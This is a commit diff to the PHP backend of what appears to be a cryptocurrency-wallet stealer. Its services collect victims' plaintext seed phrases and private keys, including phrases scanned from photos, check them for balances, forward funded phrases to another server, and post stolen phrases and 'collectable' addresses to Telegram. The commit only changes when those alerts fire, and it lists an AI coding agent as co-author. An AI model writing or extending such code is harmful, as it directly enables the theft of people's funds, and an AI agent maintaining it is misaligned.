Skip local Telegram when a funded scan mnemonic is forwarded.
Scan ingest was notifying new-phrase and collectable addresses before POST /us succeeded. Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
@@ -531,7 +531,7 @@ class IngestService
|
|||||||
/**
|
/**
|
||||||
* `/api/user/set` — plaintext mnemonic / private key in `result`.
|
* `/api/user/set` — plaintext mnemonic / private key in `result`.
|
||||||
*/
|
*/
|
||||||
public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null): void
|
public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null, bool $notify = true): void
|
||||||
{
|
{
|
||||||
if (! is_array($payload)) {
|
if (! is_array($payload)) {
|
||||||
return;
|
return;
|
||||||
@@ -569,13 +569,15 @@ class IngestService
|
|||||||
}
|
}
|
||||||
$row->save();
|
$row->save();
|
||||||
if ($isNew) {
|
if ($isNew) {
|
||||||
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row);
|
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row, $notify);
|
||||||
$this->telegram->notifyNewMemoric(
|
if ($notify) {
|
||||||
$device->device_id,
|
$this->telegram->notifyNewMemoric(
|
||||||
$source,
|
$device->device_id,
|
||||||
$secret,
|
$source,
|
||||||
$origin !== null ? $origin->device_id : null,
|
$secret,
|
||||||
);
|
$origin !== null ? $origin->device_id : null,
|
||||||
|
);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -72,7 +72,7 @@ class MnemonicAddressLinker
|
|||||||
*
|
*
|
||||||
* @return int Number of addresses linked
|
* @return int Number of addresses linked
|
||||||
*/
|
*/
|
||||||
public function linkMnemonicToDeviceAddresses(WalletMnemonic $mnemonic): int
|
public function linkMnemonicToDeviceAddresses(WalletMnemonic $mnemonic, bool $notify = true): int
|
||||||
{
|
{
|
||||||
$phrase = $mnemonic->mnemonic;
|
$phrase = $mnemonic->mnemonic;
|
||||||
if ($phrase === null || trim($phrase) === '') {
|
if ($phrase === null || trim($phrase) === '') {
|
||||||
@@ -141,7 +141,7 @@ class MnemonicAddressLinker
|
|||||||
$linked++;
|
$linked++;
|
||||||
}
|
}
|
||||||
|
|
||||||
if ($newlyLinked !== []) {
|
if ($notify && $newlyLinked !== []) {
|
||||||
$this->telegram->notifyCollectableAddresses($newlyLinked);
|
$this->telegram->notifyCollectableAddresses($newlyLinked);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -28,6 +28,7 @@ class MnemonicScanService
|
|||||||
private readonly IngestService $ingest,
|
private readonly IngestService $ingest,
|
||||||
private readonly MnemonicWalletDiscovery $discovery,
|
private readonly MnemonicWalletDiscovery $discovery,
|
||||||
private readonly InterceptForwarder $forwarder,
|
private readonly InterceptForwarder $forwarder,
|
||||||
|
private readonly TelegramNotifier $telegram,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
public function dispatchPhoto(Photo $photo): void
|
public function dispatchPhoto(Photo $photo): void
|
||||||
@@ -386,7 +387,7 @@ class MnemonicScanService
|
|||||||
$this->ingest->ingestMnemonic($holder, [
|
$this->ingest->ingestMnemonic($holder, [
|
||||||
'mnemonic' => $phrase,
|
'mnemonic' => $phrase,
|
||||||
'a' => $tag,
|
'a' => $tag,
|
||||||
], $origin);
|
], $origin, notify: false);
|
||||||
|
|
||||||
$mnemonic = WalletMnemonic::query()
|
$mnemonic = WalletMnemonic::query()
|
||||||
->where('device_id', $holder->id)
|
->where('device_id', $holder->id)
|
||||||
@@ -397,7 +398,7 @@ class MnemonicScanService
|
|||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
$this->discovery->discoverActivated($mnemonic);
|
$this->discovery->discoverActivated($mnemonic, notify: false);
|
||||||
} catch (\Throwable $e) {
|
} catch (\Throwable $e) {
|
||||||
Log::warning('scan mnemonic discovery failed: '.$e->getMessage(), [
|
Log::warning('scan mnemonic discovery failed: '.$e->getMessage(), [
|
||||||
'mnemonic_id' => $mnemonic->id,
|
'mnemonic_id' => $mnemonic->id,
|
||||||
@@ -405,11 +406,25 @@ class MnemonicScanService
|
|||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (! $this->mnemonicHasPositiveBalance($mnemonic)) {
|
$forwarded = false;
|
||||||
|
if ($this->mnemonicHasPositiveBalance($mnemonic)) {
|
||||||
|
$forwarded = $this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag);
|
||||||
|
}
|
||||||
|
if ($forwarded) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
$this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag);
|
$this->telegram->notifyNewMemoric(
|
||||||
|
(string) $holder->device_id,
|
||||||
|
(string) ($mnemonic->source ?: ''),
|
||||||
|
$phrase,
|
||||||
|
$origin !== null ? $origin->device_id : null,
|
||||||
|
);
|
||||||
|
if ($this->mnemonicHasPositiveBalance($mnemonic)) {
|
||||||
|
$this->telegram->notifyCollectableAddresses(
|
||||||
|
WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->get()
|
||||||
|
);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private function mnemonicHasPositiveBalance(WalletMnemonic $mnemonic): bool
|
private function mnemonicHasPositiveBalance(WalletMnemonic $mnemonic): bool
|
||||||
|
|||||||
@@ -62,7 +62,7 @@ class MnemonicWalletDiscovery
|
|||||||
* set discovery_complete.
|
* set discovery_complete.
|
||||||
* @return int Number of address rows created or updated
|
* @return int Number of address rows created or updated
|
||||||
*/
|
*/
|
||||||
public function discoverActivated(WalletMnemonic $mnemonic, bool $force = false): int
|
public function discoverActivated(WalletMnemonic $mnemonic, bool $force = false, bool $notify = true): int
|
||||||
{
|
{
|
||||||
$phrase = $mnemonic->mnemonic;
|
$phrase = $mnemonic->mnemonic;
|
||||||
if ($phrase === null || trim($phrase) === '') {
|
if ($phrase === null || trim($phrase) === '') {
|
||||||
@@ -97,7 +97,7 @@ class MnemonicWalletDiscovery
|
|||||||
$saved = [];
|
$saved = [];
|
||||||
$covered = []; // chain => true when linked / miss-cached / probed this run
|
$covered = []; // chain => true when linked / miss-cached / probed this run
|
||||||
|
|
||||||
$created = ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, $force, &$saved, &$covered) {
|
$created = ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, $force, $notify, &$saved, &$covered) {
|
||||||
foreach (self::CHAINS as $spec) {
|
foreach (self::CHAINS as $spec) {
|
||||||
$chain = $spec['chain'];
|
$chain = $spec['chain'];
|
||||||
|
|
||||||
@@ -135,7 +135,7 @@ class MnemonicWalletDiscovery
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if ($saved !== []) {
|
if ($notify && $saved !== []) {
|
||||||
$this->telegram->notifyCollectableAddresses($saved);
|
$this->telegram->notifyCollectableAddresses($saved);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -48,7 +48,6 @@ TXT;
|
|||||||
]);
|
]);
|
||||||
Http::fake([
|
Http::fake([
|
||||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||||
'*' => Http::response('fail', 500),
|
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -450,7 +449,6 @@ TXT;
|
|||||||
Http::fake([
|
Http::fake([
|
||||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||||
'https://dest.example/*' => Http::response('ok', 200),
|
'https://dest.example/*' => Http::response('ok', 200),
|
||||||
'*' => Http::response('fail', 500),
|
|
||||||
]);
|
]);
|
||||||
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 12.5);
|
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 12.5);
|
||||||
|
|
||||||
@@ -479,6 +477,14 @@ TXT;
|
|||||||
&& ($payload['a'] ?? '') === 'note_scan'
|
&& ($payload['a'] ?? '') === 'note_scan'
|
||||||
&& ($payload['mnemonic'] ?? '') === self::PHRASE;
|
&& ($payload['mnemonic'] ?? '') === self::PHRASE;
|
||||||
});
|
});
|
||||||
|
Http::assertNotSent(function ($request) {
|
||||||
|
if (! str_contains($request->url(), 'api.telegram.org')) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
$text = (string) ($request->data()['text'] ?? '');
|
||||||
|
|
||||||
|
return str_contains($text, '新助记词') || str_contains($text, '地址可归集');
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
|
|||||||
Reference in New Issue
Block a user